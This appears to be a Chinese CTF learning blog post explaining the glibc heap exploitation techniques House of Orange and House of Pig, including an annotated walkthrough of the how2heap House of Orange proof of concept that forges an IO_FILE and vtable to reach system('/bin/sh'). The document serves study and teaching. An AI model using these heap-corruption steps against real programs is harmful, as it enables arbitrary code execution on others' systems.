【PWN】House of Orange&House of Pig(待完整例题)

House of Orange 

House of Orange的利用背景在缺少free条件。为了达到free的效果,通过修改top chunk的size位,当malloc的空间大于top chunk时触发brk,使top chunk被放置在unsorted bin。

利用条件:

1.堆有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一些 libc 中的 check。 首先,malloc 的尺寸不能大于mmp_.mmap_threshold。 默认为 128K大小。否则直接向系统要内存,不再通过top chunk。

2.sysmalloc对top chunk分配有如下检测

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

需要满足

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

ctfwiki给的示例还是非常简单的,讲解点在于,如果已申请0x20大小chunk,top chunk的fake chunk的fakesize需要像 0x0fe1、0x1fe1、0x2fe1、0x3fe1一样,完成4kb大小的对齐。

更详细的用法还是看how2heap

how2heap给出的是fsop的利用,也就是修改_IO_list_all指针。由于2.24及以后的检测,fake vtable便无法奏效了.

我们逐个解释步骤:

char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);//创建0x400大小chunk
top = (size_t *) ( (char *) p1 + 0x400 - 16); //获取top指向top chunk
top[1] = 0xc01; //修改top chunk的size
p2 = malloc(0x1000); //核心步骤,这一步导致top chunk进入unsortedbin,同时 brk一段空间

有一点需要注意,how2heap这样写到

 Finally the heap looks like this:
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | free ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                                             new heap end 

 实际上,我们的new top与修改size前的top末端相连,而不是修改后的。

io_list_all = top[2] + 0x9a8;  //根据io_list_all与main_arena+88的偏移找到io_list_all地址
top[3] = io_list_all - 0x10; //修改bk,为unsorted bin attack做准备
memcpy( ( char *) top, "/bin/sh\x00", 8); //vtable中的_IO_overflow函数的第一个参数
                                          //是该文件的地址,所以假设overflow改为system,则正好            
                                          //则正好调用system("bin/sh")
top[1] = 0x61; //我们的unsortedbin地址与bins中存放smallchunk对应0x60大小的chunk的地址的偏移 
               //正好等于一个IO_FILE与next file指针地址的偏移
FILE *fp = (FILE *) top;
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3; //绕过检测
size_t *jump_table = &top[12];       //这里地址其实没特殊要求,找一个我们伪造vtable的地方
jump_table[3] = (size_t) &winner;    //把伪造下,相对_IO_overflow的位置写上system函数地址
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table;//在相对vtable指针的位置写上我 
                                                               //们刚刚想伪造vtable的地址 

 最后一步,详细讲解到底发生了什么。

malloc(10); //最后malloc触发,但是还是详细说一下,这一步后到底发生了什么吧
//首先,malloc后因为没有符合的smallbin或fastbin进入unsorted bin循环,这一步循环很重要
//1.由于我们的old top chunk现在在unsorted bin,所以首先发现这个chunk不符合
//于是该chunk被放入了small bin,还记得我们之前又修改了一次size值吧。
//2.该chunk被放入small bin的同时,由与我们修改了bk,造成unsorted bin attack
//导致_IO_list_all 被写入unsorted bin的地址。
//3.由于bk被更改,这下好了,由于该chunk不符合需要的大小,接着unsorted bin大循环搜索,下次unsorted 
//bin通过bck搜索,访问到了_IO_list_all 附近,这块附近再重复上面的动作还能正常吗?猜想会报错。
//4.开始报错,此处省略报错的步骤,但最终会通过_IO_list_all挨个遍历文件,再去调用每个文件的vtable
//中的overflow函数。
//5.试想一下,我们上述构造的,_IO_list_all被改成了unsorted bin的地址,这样一来,他就把unsorted 
//bin的地址错当是 _IO_2_1_stderr_的位置了,这里我搜了一下,看到的说法是如果fp->mode等值不符合
//要求,就会通过chains跳转到就下一个IO_FILE_plus。而我们的chain对应的值,由于我们上述第一步
//的samllbin操作,使其正好等于old top chunk的地址,也就是说,这里程序错把old top chunk当成
//_IO_2_1_stdout_,这一次由于我们设置好了相关项的值,其开始调用vtable中的overflow函数,而vtable
//的值被我们改了,其相对overflow函数也被更改为了system。所以开始调用system,而且,old top chunk的
//头位置被我们塞了bin/sh字符串,这下好了,正好调用了system(bin/sh),真是精妙绝伦的思路!

 这是ctfwiki上的图,可以看到,在出现error后调用了一系列最终到overflow函数。

我搜了一些文章,发现没有人把这块how2heap的例子详细讲解出来,而关于该利用方法的例题,又由于依附于题,导致看起来更加困难。此外how2heap都是英文,属实不友好。自己学的时候其实学的效果就很不理想。

经过上述详细步骤的讲解,我觉得不光是给自己看,给第一次学的人看也能够理解了。 

最后再附加一下iofile利用的注意事项吧:

2.23以前,vtable中的项可修改。2.23可通过fsop,也就是利用修改 _IO_list_all。

2.23以后,又由于新加了vtable指针中的地址是否是正常的地址而使修改_IO_list_all无法进行,但同时可以利用_IO_str_jumps再度使用。

House of Pig

House of Pig 是一个将 Tcache Statsh Unlink+ Attack 和 FSOP 结合的攻击,同时使用到了 Largebin Attack 进行辅助。主要适用于 libc 2.31 及以后的新版本 libc 并且程序中仅有 calloc 时。 

  利用流程:

  1. 进行一个 Tcache Stash Unlink+ 攻击,把地址 __free_hook - 0x10 写入 tcache_pthread_struct。由于该攻击要求 __free_hook - 0x8 处存储一个指向可写内存的指针,所以在此之前需要进行一次 large bin attack。
  2. 再进行一个 large bin attack,修改 _IO_list_all 为一个堆地址,然后在该处伪造 _IO_FILE 结构体。
  3. 通过伪造的结构体触发 _IO_str_overflow getshell。

ctfwiki的例题XCTF-FINAL-2021 house of pig,还是有些难度,目前水平有限,复杂的有些看不懂,都后面逐渐练起来题,有一定做题能力了再看吧。先记录一下。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值